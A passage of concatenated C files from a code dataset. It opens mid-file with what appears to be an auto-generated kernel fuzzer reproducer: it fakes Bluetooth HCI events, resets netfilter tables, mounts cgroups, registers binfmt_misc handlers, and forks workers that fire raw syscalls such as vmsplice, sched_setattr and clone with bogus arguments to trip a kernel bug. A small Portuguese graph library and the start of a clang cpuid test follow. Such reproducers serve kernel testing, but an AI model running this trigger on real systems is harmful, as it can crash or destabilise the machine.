memset(&request.bdaddr, 0xaa, 6);
*(uint8_t*)&request.bdaddr.b[5] = 0x10;
request.link_type = ACL_LINK;
hci_send_event_packet(vhci_fd, HCI_EV_CONN_REQUEST, &request,
sizeof(request));
struct hci_ev_conn_complete complete;
memset(&complete, 0, sizeof(complete));
complete.status = 0;
complete.handle = HCI_HANDLE_1;
memset(&complete.bdaddr, 0xaa, 6);
*(uint8_t*)&complete.bdaddr.b[5] = 0x10;
complete.link_type = ACL_LINK;
complete.encr_mode = 0;
hci_send_event_packet(vhci_fd, HCI_EV_CONN_COMPLETE, &complete,
sizeof(complete));
struct hci_ev_remote_features features;
memset(&features, 0, sizeof(features));
features.status = 0;
features.handle = HCI_HANDLE_1;
hci_send_event_packet(vhci_fd, HCI_EV_REMOTE_FEATURES, &features,
sizeof(features));
struct {
struct hci_ev_le_meta le_meta;
struct hci_ev_le_conn_complete le_conn;
} le_conn;
memset(&le_conn, 0, sizeof(le_conn));
le_conn.le_meta.subevent = HCI_EV_LE_CONN_COMPLETE;
memset(&le_conn.le_conn.bdaddr, 0xaa, 6);
*(uint8_t*)&le_conn.le_conn.bdaddr.b[5] = 0x11;
le_conn.le_conn.role = 1;
le_conn.le_conn.handle = HCI_HANDLE_2;
hci_send_event_packet(vhci_fd, HCI_EV_LE_META, &le_conn, sizeof(le_conn));
pthread_join(th, NULL);
close(hci_sock);
}
#define XT_TABLE_SIZE 1536
#define XT_MAX_ENTRIES 10
struct xt_counters {
uint64_t pcnt, bcnt;
};
struct ipt_getinfo {
char name[32];
unsigned int valid_hooks;
unsigned int hook_entry[5];
unsigned int underflow[5];
unsigned int num_entries;
unsigned int size;
};
struct ipt_get_entries {
char name[32];
unsigned int size;
uint64_t entrytable[XT_TABLE_SIZE / sizeof(uint64_t)];
};
struct ipt_replace {
char name[32];
unsigned int valid_hooks;
unsigned int num_entries;
unsigned int size;
unsigned int hook_entry[5];
unsigned int underflow[5];
unsigned int num_counters;
struct xt_counters* counters;
uint64_t entrytable[XT_TABLE_SIZE / sizeof(uint64_t)];
};
struct ipt_table_desc {
const char* name;
struct ipt_getinfo info;
struct ipt_replace replace;
};
static struct ipt_table_desc ipv4_tables[] = {
{.name = "filter"}, {.name = "nat"}, {.name = "mangle"},
{.name = "raw"}, {.name = "security"},
};
static struct ipt_table_desc ipv6_tables[] = {
{.name = "filter"}, {.name = "nat"}, {.name = "mangle"},
{.name = "raw"}, {.name = "security"},
};
#define IPT_BASE_CTL 64
#define IPT_SO_SET_REPLACE (IPT_BASE_CTL)
#define IPT_SO_GET_INFO (IPT_BASE_CTL)
#define IPT_SO_GET_ENTRIES (IPT_BASE_CTL + 1)
struct arpt_getinfo {
char name[32];
unsigned int valid_hooks;
unsigned int hook_entry[3];
unsigned int underflow[3];
unsigned int num_entries;
unsigned int size;
};
struct arpt_get_entries {
char name[32];
unsigned int size;
uint64_t entrytable[XT_TABLE_SIZE / sizeof(uint64_t)];
};
struct arpt_replace {
char name[32];
unsigned int valid_hooks;
unsigned int num_entries;
unsigned int size;
unsigned int hook_entry[3];
unsigned int underflow[3];
unsigned int num_counters;
struct xt_counters* counters;
uint64_t entrytable[XT_TABLE_SIZE / sizeof(uint64_t)];
};
struct arpt_table_desc {
const char* name;
struct arpt_getinfo info;
struct arpt_replace replace;
};
static struct arpt_table_desc arpt_tables[] = {
{.name = "filter"},
};
#define ARPT_BASE_CTL 96
#define ARPT_SO_SET_REPLACE (ARPT_BASE_CTL)
#define ARPT_SO_GET_INFO (ARPT_BASE_CTL)
#define ARPT_SO_GET_ENTRIES (ARPT_BASE_CTL + 1)
static void checkpoint_iptables(struct ipt_table_desc* tables, int num_tables,
int family, int level)
{
int fd = socket(family, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (int i = 0; i < num_tables; i++) {
struct ipt_table_desc* table = &tables[i];
strcpy(table->info.name, table->name);
strcpy(table->replace.name, table->name);
socklen_t optlen = sizeof(table->info);
if (getsockopt(fd, level, IPT_SO_GET_INFO, &table->info, &optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->info.size > sizeof(table->replace.entrytable))
exit(1);
if (table->info.num_entries > XT_MAX_ENTRIES)
exit(1);
struct ipt_get_entries entries;
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size;
if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
table->replace.valid_hooks = table->info.valid_hooks;
table->replace.num_entries = table->info.num_entries;
table->replace.size = table->info.size;
memcpy(table->replace.hook_entry, table->info.hook_entry,
sizeof(table->replace.hook_entry));
memcpy(table->replace.underflow, table->info.underflow,
sizeof(table->replace.underflow));
memcpy(table->replace.entrytable, entries.entrytable, table->info.size);
}
close(fd);
}
static void reset_iptables(struct ipt_table_desc* tables, int num_tables,
int family, int level)
{
int fd = socket(family, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (int i = 0; i < num_tables; i++) {
struct ipt_table_desc* table = &tables[i];
if (table->info.valid_hooks == 0)
continue;
struct ipt_getinfo info;
memset(&info, 0, sizeof(info));
strcpy(info.name, table->name);
socklen_t optlen = sizeof(info);
if (getsockopt(fd, level, IPT_SO_GET_INFO, &info, &optlen))
exit(1);
if (memcmp(&table->info, &info, sizeof(table->info)) == 0) {
struct ipt_get_entries entries;
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size;
if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
if (memcmp(table->replace.entrytable, entries.entrytable,
table->info.size) == 0)
continue;
}
struct xt_counters counters[XT_MAX_ENTRIES];
table->replace.num_counters = info.num_entries;
table->replace.counters = counters;
optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) +
table->replace.size;
if (setsockopt(fd, level, IPT_SO_SET_REPLACE, &table->replace, optlen))
exit(1);
}
close(fd);
}
static void checkpoint_arptables(void)
{
int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (unsigned i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) {
struct arpt_table_desc* table = &arpt_tables[i];
strcpy(table->info.name, table->name);
strcpy(table->replace.name, table->name);
socklen_t optlen = sizeof(table->info);
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &table->info, &optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->info.size > sizeof(table->replace.entrytable))
exit(1);
if (table->info.num_entries > XT_MAX_ENTRIES)
exit(1);
struct arpt_get_entries entries;
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size;
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
table->replace.valid_hooks = table->info.valid_hooks;
table->replace.num_entries = table->info.num_entries;
table->replace.size = table->info.size;
memcpy(table->replace.hook_entry, table->info.hook_entry,
sizeof(table->replace.hook_entry));
memcpy(table->replace.underflow, table->info.underflow,
sizeof(table->replace.underflow));
memcpy(table->replace.entrytable, entries.entrytable, table->info.size);
}
close(fd);
}
static void reset_arptables()
{
int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (unsigned i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) {
struct arpt_table_desc* table = &arpt_tables[i];
if (table->info.valid_hooks == 0)
continue;
struct arpt_getinfo info;
memset(&info, 0, sizeof(info));
strcpy(info.name, table->name);
socklen_t optlen = sizeof(info);
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &info, &optlen))
exit(1);
if (memcmp(&table->info, &info, sizeof(table->info)) == 0) {
struct arpt_get_entries entries;
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size;
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
if (memcmp(table->replace.entrytable, entries.entrytable,
table->info.size) == 0)
continue;
} else {
}
struct xt_counters counters[XT_MAX_ENTRIES];
table->replace.num_counters = info.num_entries;
table->replace.counters = counters;
optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) +
table->replace.size;
if (setsockopt(fd, SOL_IP, ARPT_SO_SET_REPLACE, &table->replace, optlen))
exit(1);
}
close(fd);
}
#define NF_BR_NUMHOOKS 6
#define EBT_TABLE_MAXNAMELEN 32
#define EBT_CHAIN_MAXNAMELEN 32
#define EBT_BASE_CTL 128
#define EBT_SO_SET_ENTRIES (EBT_BASE_CTL)
#define EBT_SO_GET_INFO (EBT_BASE_CTL)
#define EBT_SO_GET_ENTRIES (EBT_SO_GET_INFO + 1)
#define EBT_SO_GET_INIT_INFO (EBT_SO_GET_ENTRIES + 1)
#define EBT_SO_GET_INIT_ENTRIES (EBT_SO_GET_INIT_INFO + 1)
struct ebt_replace {
char name[EBT_TABLE_MAXNAMELEN];
unsigned int valid_hooks;
unsigned int nentries;
unsigned int entries_size;
struct ebt_entries* hook_entry[NF_BR_NUMHOOKS];
unsigned int num_counters;
struct ebt_counter* counters;
char* entries;
};
struct ebt_entries {
unsigned int distinguisher;
char name[EBT_CHAIN_MAXNAMELEN];
unsigned int counter_offset;
int policy;
unsigned int nentries;
char data[0] __attribute__((aligned(__alignof__(struct ebt_replace))));
};
struct ebt_table_desc {
const char* name;
struct ebt_replace replace;
char entrytable[XT_TABLE_SIZE];
};
static struct ebt_table_desc ebt_tables[] = {
{.name = "filter"},
{.name = "nat"},
{.name = "broute"},
};
static void checkpoint_ebtables(void)
{
int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (size_t i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) {
struct ebt_table_desc* table = &ebt_tables[i];
strcpy(table->replace.name, table->name);
socklen_t optlen = sizeof(table->replace);
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_INFO, &table->replace,
&optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->replace.entries_size > sizeof(table->entrytable))
exit(1);
table->replace.num_counters = 0;
table->replace.entries = table->entrytable;
optlen = sizeof(table->replace) + table->replace.entries_size;
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_ENTRIES, &table->replace,
&optlen))
exit(1);
}
close(fd);
}
static void reset_ebtables()
{
int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (unsigned i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) {
struct ebt_table_desc* table = &ebt_tables[i];
if (table->replace.valid_hooks == 0)
continue;
struct ebt_replace replace;
memset(&replace, 0, sizeof(replace));
strcpy(replace.name, table->name);
socklen_t optlen = sizeof(replace);
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INFO, &replace, &optlen))
exit(1);
replace.num_counters = 0;
table->replace.entries = 0;
for (unsigned h = 0; h < NF_BR_NUMHOOKS; h++)
table->replace.hook_entry[h] = 0;
if (memcmp(&table->replace, &replace, sizeof(table->replace)) == 0) {
char entrytable[XT_TABLE_SIZE];
memset(&entrytable, 0, sizeof(entrytable));
replace.entries = entrytable;
optlen = sizeof(replace) + replace.entries_size;
if (getsockopt(fd, SOL_IP, EBT_SO_GET_ENTRIES, &replace, &optlen))
exit(1);
if (memcmp(table->entrytable, entrytable, replace.entries_size) == 0)
continue;
}
for (unsigned j = 0, h = 0; h < NF_BR_NUMHOOKS; h++) {
if (table->replace.valid_hooks & (1 << h)) {
table->replace.hook_entry[h] =
(struct ebt_entries*)table->entrytable + j;
j++;
}
}
table->replace.entries = table->entrytable;
optlen = sizeof(table->replace) + table->replace.entries_size;
if (setsockopt(fd, SOL_IP, EBT_SO_SET_ENTRIES, &table->replace, optlen))
exit(1);
}
close(fd);
}
static void checkpoint_net_namespace(void)
{
checkpoint_ebtables();
checkpoint_arptables();
checkpoint_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]),
AF_INET, SOL_IP);
checkpoint_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]),
AF_INET6, SOL_IPV6);
}
static void reset_net_namespace(void)
{
reset_ebtables();
reset_arptables();
reset_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]),
AF_INET, SOL_IP);
reset_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]),
AF_INET6, SOL_IPV6);
}
static void setup_cgroups()
{
if (mkdir("/syzcgroup", 0777)) {
}
if (mkdir("/syzcgroup/unified", 0777)) {
}
if (mount("none", "/syzcgroup/unified", "cgroup2", 0, NULL)) {
}
if (chmod("/syzcgroup/unified", 0777)) {
}
write_file("/syzcgroup/unified/cgroup.subtree_control",
"+cpu +memory +io +pids +rdma");
if (mkdir("/syzcgroup/cpu", 0777)) {
}
if (mount("none", "/syzcgroup/cpu", "cgroup", 0,
"cpuset,cpuacct,perf_event,hugetlb")) {
}
write_file("/syzcgroup/cpu/cgroup.clone_children", "1");
write_file("/syzcgroup/cpu/cpuset.memory_pressure_enabled", "1");
if (chmod("/syzcgroup/cpu", 0777)) {
}
if (mkdir("/syzcgroup/net", 0777)) {
}
if (mount("none", "/syzcgroup/net", "cgroup", 0,
"net_cls,net_prio,devices,freezer")) {
}
if (chmod("/syzcgroup/net", 0777)) {
}
}
static void setup_cgroups_loop()
{
int pid = getpid();
char file[128];
char cgroupdir[64];
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/pids.max", cgroupdir);
write_file(file, "32");
snprintf(file, sizeof(file), "%s/memory.low", cgroupdir);
write_file(file, "%d", 298 << 20);
snprintf(file, sizeof(file), "%s/memory.high", cgroupdir);
write_file(file, "%d", 299 << 20);
snprintf(file, sizeof(file), "%s/memory.max", cgroupdir);
write_file(file, "%d", 300 << 20);
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
}
static void setup_cgroups_test()
{
char cgroupdir[64];
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup")) {
}
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup.cpu")) {
}
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup.net")) {
}
}
static void setup_common()
{
if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) {
}
setup_cgroups();
}
static void loop();
static void sandbox_common()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setsid();
struct rlimit rlim;
rlim.rlim_cur = rlim.rlim_max = (200 << 20);
setrlimit(RLIMIT_AS, &rlim);
rlim.rlim_cur = rlim.rlim_max = 32 << 20;
setrlimit(RLIMIT_MEMLOCK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 136 << 20;
setrlimit(RLIMIT_FSIZE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_STACK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 256;
setrlimit(RLIMIT_NOFILE, &rlim);
if (unshare(CLONE_NEWNS)) {
}
if (mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL)) {
}
if (unshare(CLONE_NEWIPC)) {
}
if (unshare(0x02000000)) {
}
if (unshare(CLONE_NEWUTS)) {
}
if (unshare(CLONE_SYSVSEM)) {
}
typedef struct {
const char* name;
const char* value;
} sysctl_t;
static const sysctl_t sysctls[] = {
{"/proc/sys/kernel/shmmax", "16777216"},
{"/proc/sys/kernel/shmall", "536870912"},
{"/proc/sys/kernel/shmmni", "1024"},
{"/proc/sys/kernel/msgmax", "8192"},
{"/proc/sys/kernel/msgmni", "1024"},
{"/proc/sys/kernel/msgmnb", "1024"},
{"/proc/sys/kernel/sem", "1024 1048576 500 1024"},
};
unsigned i;
for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++)
write_file(sysctls[i].name, sysctls[i].value);
}
static int wait_for_loop(int pid)
{
if (pid < 0)
exit(1);
int status = 0;
while (waitpid(-1, &status, __WALL) != pid) {
}
return WEXITSTATUS(status);
}
static void drop_caps(void)
{
struct __user_cap_header_struct cap_hdr = {};
struct __user_cap_data_struct cap_data[2] = {};
cap_hdr.version = _LINUX_CAPABILITY_VERSION_3;
cap_hdr.pid = getpid();
if (syscall(SYS_capget, &cap_hdr, &cap_data))
exit(1);
const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE);
cap_data[0].effective &= ~drop;
cap_data[0].permitted &= ~drop;
cap_data[0].inheritable &= ~drop;
if (syscall(SYS_capset, &cap_hdr, &cap_data))
exit(1);
}
static int do_sandbox_none(void)
{
if (unshare(CLONE_NEWPID)) {
}
int pid = fork();
if (pid != 0)
return wait_for_loop(pid);
setup_common();
initialize_vhci();
sandbox_common();
drop_caps();
initialize_netdevices_init();
if (unshare(CLONE_NEWNET)) {
}
initialize_tun();
initialize_netdevices();
loop();
exit(1);
}
#define FS_IOC_SETFLAGS _IOW('f', 2, long)
static void remove_dir(const char* dir)
{
int iter = 0;
DIR* dp = 0;
retry:
while (umount2(dir, MNT_DETACH) == 0) {
}
dp = opendir(dir);
if (dp == NULL) {
if (errno == EMFILE) {
exit(1);
}
exit(1);
}
struct dirent* ep = 0;
while ((ep = readdir(dp))) {
if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0)
continue;
char filename[FILENAME_MAX];
snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name);
while (umount2(filename, MNT_DETACH) == 0) {
}
struct stat st;
if (lstat(filename, &st))
exit(1);
if (S_ISDIR(st.st_mode)) {
remove_dir(filename);
continue;
}
int i;
for (i = 0;; i++) {
if (unlink(filename) == 0)
break;
if (errno == EPERM) {
int fd = open(filename, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) {
}
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno != EBUSY || i > 100)
exit(1);
if (umount2(filename, MNT_DETACH))
exit(1);
}
}
closedir(dp);
for (int i = 0;; i++) {
if (rmdir(dir) == 0)
break;
if (i < 100) {
if (errno == EPERM) {
int fd = open(dir, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) {
}
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno == EBUSY) {
if (umount2(dir, MNT_DETACH))
exit(1);
continue;
}
if (errno == ENOTEMPTY) {
if (iter < 100) {
iter++;
goto retry;
}
}
}
exit(1);
}
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
for (int i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void setup_loop()
{
setup_cgroups_loop();
checkpoint_net_namespace();
}
static void reset_loop()
{
reset_net_namespace();
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setup_cgroups_test();
write_file("/proc/self/oom_score_adj", "1000");
flush_tun();
}
static void close_fds()
{
for (int fd = 3; fd < MAX_FDS; fd++)
close(fd);
}
static void setup_binfmt_misc()
{
if (mount(0, "/proc/sys/fs/binfmt_misc", "binfmt_misc", 0, 0)) {
}
write_file("/proc/sys/fs/binfmt_misc/register", ":syz0:M:0:\x01::./file0:");
write_file("/proc/sys/fs/binfmt_misc/register",
":syz1:M:1:\x02::./file0:POC");
}
struct thread_t {
int created, call;
event_t ready, done;
};
static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
event_wait(&th->ready);
event_reset(&th->ready);
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
event_set(&th->done);
}
return 0;
}
static void execute_one(void)
{
int i, call, thread;
for (call = 0; call < 12; call++) {
for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0]));
thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
event_init(&th->ready);
event_init(&th->done);
event_set(&th->done);
thread_start(thr, th);
}
if (!event_isset(&th->done))
continue;
event_reset(&th->done);
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
event_set(&th->ready);
event_timedwait(&th->done, 50);
break;
}
}
for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
sleep_ms(1);
close_fds();
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
setup_loop();
int iter = 0;
for (;; iter++) {
char cwdbuf[32];
sprintf(cwdbuf, "./%d", iter);
if (mkdir(cwdbuf, 0777))
exit(1);
reset_loop();
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
if (chdir(cwdbuf))
exit(1);
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5000) {
continue;
}
kill_and_wait(pid, &status);
break;
}
remove_dir(cwdbuf);
}
}
#ifndef __NR_sched_setattr
#define __NR_sched_setattr 314
#endif
uint64_t r[4] = {0x0, 0xffffffffffffffff, 0xffffffffffffffff,
0xffffffffffffffff};
void execute_call(int call)
{
intptr_t res = 0;
switch (call) {
case 0:
NONFAILING(*(uint64_t*)0x20000280 = 9);
NONFAILING(*(uint64_t*)0x20000288 = 0x8d);
syscall(__NR_prlimit64, 0, 0xeul, 0x20000280ul, 0ul);
break;
case 1:
res = syscall(__NR_getpid);
if (res != -1)
r[0] = res;
break;
case 2:
syscall(__NR_setrlimit, 0xaul, 0ul);
break;
case 3:
NONFAILING(*(uint32_t*)0x20000040 = 0x30);
NONFAILING(*(uint32_t*)0x20000044 = 2);
NONFAILING(*(uint64_t*)0x20000048 = 0);
NONFAILING(*(uint32_t*)0x20000050 = 0);
NONFAILING(*(uint32_t*)0x20000054 = 5);
NONFAILING(*(uint64_t*)0x20000058 = 0);
NONFAILING(*(uint64_t*)0x20000060 = 0);
NONFAILING(*(uint64_t*)0x20000068 = 0);
NONFAILING(*(uint32_t*)0x20000070 = 0);
NONFAILING(*(uint32_t*)0x20000074 = 0);
syscall(__NR_sched_setattr, r[0], 0x20000040ul, 0ul);
break;
case 4:
res = syscall(__NR_socket, 0xaul, 2ul, 0);
if (res != -1)
r[1] = res;
break;
case 5:
syscall(__NR_ftruncate, -1, 0ul);
break;
case 6:
NONFAILING(*(uint64_t*)0x20000c80 = 0);
NONFAILING(*(uint32_t*)0x20000c88 = 0);
NONFAILING(*(uint64_t*)0x20000c90 = 0);
NONFAILING(*(uint64_t*)0x20000c98 = 0);
NONFAILING(*(uint64_t*)0x20000ca0 = 0);
NONFAILING(*(uint64_t*)0x20000ca8 = 0);
NONFAILING(*(uint32_t*)0x20000cb0 = 0);
NONFAILING(*(uint32_t*)0x20000cb8 = 0);
syscall(__NR_recvmmsg, r[1], 0x20000c80ul, 1ul, 0ul, 0ul);
break;
case 7:
res = syscall(__NR_pipe, 0x20000100ul);
if (res != -1) {
NONFAILING(r[2] = *(uint32_t*)0x20000100);
NONFAILING(r[3] = *(uint32_t*)0x20000104);
}
break;
case 8:
syscall(__NR_fcntl, r[3], 0x407ul, 0ul);
break;
case 9:
syscall(__NR_write, r[3], 0x20000340ul, 0x41395527ul);
break;
case 10:
NONFAILING(*(uint64_t*)0x20000000 = 0x20000500);
NONFAILING(*(uint64_t*)0x20000008 = 0x3528a9c0);
syscall(__NR_vmsplice, r[2], 0x20000000ul, 1ul, 0ul);
break;
case 11:
syscall(__NR_clone, 0ul, 0ul, 0x9999999999999999ul, 0ul, -1ul);
break;
}
}
int main(void)
{
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
setup_binfmt_misc();
install_segv_handler();
for (procid = 0; procid < 6; procid++) {
if (fork() == 0) {
use_temporary_dir();
do_sandbox_none();
}
}
sleep(1000000);
return 0;
}
|
the_stack_data/55321.c | #include <stdio.h>
#include <stdlib.h>
#define MAXNUMVERTICES 100
#define NULO NULL
typedef int tpeso;
typedef int tvertice;
typedef int tapontador;
//typedef nullptr NULO;
typedef struct {
tpeso mat[MAXNUMVERTICES][MAXNUMVERTICES];
int num_vertices;
}tgrafo;
void inicializa_grafo(tgrafo *grafo, int num_vertices);
void insere_aresta(tvertice v, tvertice u, tpeso p, tgrafo *grafo);
int existe_aresta(tvertice v, tvertice u, tgrafo *grafo);
void retira_aresta(tvertice v, tvertice u, tgrafo *grafo);
int existe_adj(tvertice v, tgrafo *grafo);
tapontador primeiro_adj(tvertice v, tgrafo *grafo);
tapontador proximo_adj(tvertice v, tvertice aux, tgrafo *grafo);
void recupera_adj(tvertice v, tapontador p, tvertice *u, tpeso *peso, tgrafo *grafo);
int main(){
printf("Hello world!\n");
return 0;
}
void inicializa_grafo(tgrafo *grafo, int num_vertices){
int i,j;
grafo->num_vertices = num_vertices;
for(i=0;i<grafo->num_vertices;i++)
for(j=0;j<grafo->num_vertices;j++)
grafo->mat[i][j]=0;
}
void insere_aresta(tvertice v, tvertice u, tpeso p, tgrafo *grafo){
grafo->mat[v][u]=p;
}
int existe_aresta(tvertice v, tvertice u, tgrafo *grafo){
return grafo->mat[v][u]!=0;
}
void retira_aresta(tvertice v, tvertice u, tgrafo *grafo){
if(grafo->mat[v][u]==0)
printf("Erro: Aresta inexistente!");
else
grafo->mat[v][u]=0;
}
int existe_adj(tvertice v, tgrafo *grafo){
tvertice aux;
for(aux = 0; aux < grafo->num_vertices; aux++){
if(grafo->mat[v][aux]!=0)
return 1;
}
return 0;
}
tapontador primeiro_adj(tvertice v, tgrafo *grafo){
tvertice aux;
for(aux = 0; aux < grafo->num_vertices; aux++){
if(grafo->mat[v][aux]!=0)
return aux;
}
return NULO;
}
tapontador proximo_adj(tvertice v, tvertice aux, tgrafo *grafo){
for(aux++; aux < grafo->num_vertices; aux++){
if(grafo->mat[v][aux]!=0)
return aux;
}
return NULO;
}
void recupera_adj(tvertice v, tapontador p, tvertice *u, tpeso *peso, tgrafo *grafo){
*u=p;
*peso= grafo->mat[v][p];
}
|
the_stack_data/941639.c | // RUN: %clang_cc1 %s -ffreestanding -triple x86_64-apple-darwin -emit-llvm -o - | FileCheck %s --check-prefix=CHECK-64
// RUN: %clang_cc1 %s -ffreestanding -triple i386 -emit-llvm -o - | FileCheck %s --check-prefix=CHECK-32
#include <cpuid.h>
// CHECK-64: {{.*}} call { i32, i32, i32, i32 } asm " xchgq %rbx,${1:q}\0A cpuid\0A xchgq %rbx,${1:q}", "={ax},=r,={cx},={dx},0,~{dirflag},~{fpsr},~{flags}"(i32 %{{[a-z0-9]+}})
// CHECK-64: {{.*}} call { i32, i32, i32, i32 } asm " xchgq %rbx,${1:q}\0A cpuid\0A xchgq %rbx,${1:q}", "={ax},=r,={cx},={dx},0,2,~{dirflag},~{fpsr},~{flags}"(i32 %{{[a-z0-9]+}}, i32 %{{[a-z0-9]+}})
